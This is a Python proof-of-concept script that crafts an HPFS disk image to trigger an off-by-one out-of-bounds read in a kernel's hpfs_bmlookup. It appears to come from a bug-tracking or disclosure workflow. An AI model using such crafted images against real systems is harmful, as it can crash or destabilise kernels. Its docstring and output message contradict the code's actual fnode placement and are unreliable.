#!/usr/bin/env python3
"""
DF-3142 -- hpfs_bmlookup off-by-one: `lsn > su_btotal` admits lsn ==
su_btotal (sys/vfs/hpfs/hpfs_subr.c:340).  On a volume whose su_btotal is
an exact band multiple, `i = lsn >> 5` (subr.c:348) then indexes exactly
one word PAST the hpm_bitmap allocation:

    hpm_dbnum  = (su_btotal + 0x3FFF) / 0x4000          (subr.c:109)
    alloc      = hpm_dbnum * BMSIZE = dbnum * 2048 bytes = dbnum*512 words
    probe word = su_btotal >> 5        == dbnum * 512    when su_btotal%0x4000==0

Caller: hpfs_addextent (hpfs_alsubr.c:360) passes lsn = hp->h_no + 1, so a
file whose fnode is the very last sector of the volume (h_no = su_btotal-1)
triggers the 4-byte OOB read on extend.

Image: su_btotal = 0x4000 (exactly one band, 8 MB), FILE's fnode at LSN
0x3FFF with an EMPTY allocation block -> extend takes the "init AlBlk in
root" path straight into bmlookup(hp->h_no + 1 = 0x4000 == su_btotal).
32 free bitmap bits (0x200..0x21F) so hpfs_extend's `hpm_bavail < 0x10`
check passes.

usage: craft_img.py <out.img>
"""
import struct, sys

SECTOR = 512
IMGSEC = 0x4000                     # exact band multiple: su_btotal % 0x4000 == 0
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE
DE_END = 0x0008

FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11
FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \
    0x20, 0x3B, 0x3C, 0x44, 0xA4
AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6
DE_OFF_NAMELEN, DE_OFF_NAME = 0x2E, 0x2F


def build(outpath):
    img = bytearray(IMGSEC * SECTOR)
    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2)
    wr32(su + 12, 0x20)             # su_rootfno
    wr32(su + 16, IMGSEC)           # su_btotal = 0x4000  <<< exact band
    wr32(su + 20, 0)
    wr32(su + 24, 0x30); wr32(su + 28, 0x30)

    wr64(0x11 * SECTOR, SP_MAGIC)

    wr32(0x30 * SECTOR, 0x38)
    bm = 0x38 * SECTOR
    for i in range(0x200, 0x220):           # 32 free bits (>= 0x10)
        img[bm + (i >> 3)] |= (1 << (i & 7))

    # root fnode @0x20 -> dirblk 0x40
    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr8(rf + FN_OFF_FLAG, 1)
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(rf + FN_OFF_ABD + 8, 0x40)
    wr32(rf + FN_OFF_SIZE, 2048)

    db = 0x40 * SECTOR
    wr32(db + 0, D_MAGIC)
    wr32(db + 12, 0x20); wr32(db + 16, 0x40)
    dep = db + 20
    reclen = ((0x2F + 4) + 3) & ~3              # 0x34: 4-char name must fit
    struct.pack_into('<HHI', img, dep, reclen, 0, 0x48)    # FILE -> fnode 0x48
    img[dep + DE_OFF_NAMELEN] = 4
    img[dep + DE_OFF_NAME:dep + DE_OFF_NAME + 4] = b'FILE'
    dep2 = dep + reclen
    struct.pack_into('<HH', img, dep2, 2048 - (dep2 - db), DE_END)
    wr32(db + 4, (dep2 + 4) - db)

    # FILE fnode at a PAGE-SAFE LSN (0x48; the last sector 0x3FFF is
    # LSN%8==7, which would trip DF-3141's vget read fault first).
    # Its single leaf covers blocks [0,2) at lsn 0x3FFE so that
    # alp->al_lsn + alp->al_len == 0x4000 == su_btotal: extending the
    # file takes hpfs_addextent:435 -> bmlookup(al_lsn+al_len, ...) with
    # lsn == su_btotal -> off-by-one probe of bitmap word 512 (OOB).
    ff = 0x48 * SECTOR
    wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
    wr8(ff + FN_OFF_NAMELEN, 4)
    img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'FILE'
    wr32(ff + FN_OFF_PARENT, 0x20)
    wr8(ff + FN_OFF_FLAG, 0)                       # VREG
    img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0          # leaves
    img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(ff + FN_OFF_ABD + 0, 0)                   # al_off = 0
    wr32(ff + FN_OFF_ABD + 4, 2)                   # al_len = 2
    wr32(ff + FN_OFF_ABD + 8, 0x3FFE)              # al_lsn: +2 == 0x4000
    wr32(ff + FN_OFF_SIZE, 1024)

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: su_btotal=0x4000 dbnum=1 bitmap=2048B=512words, "
          "fnode@0x3FFF -> bmlookup lsn=0x4000 probes word 512 (OOB)" % outpath)


if __name__ == '__main__':
    build(sys.argv[1])
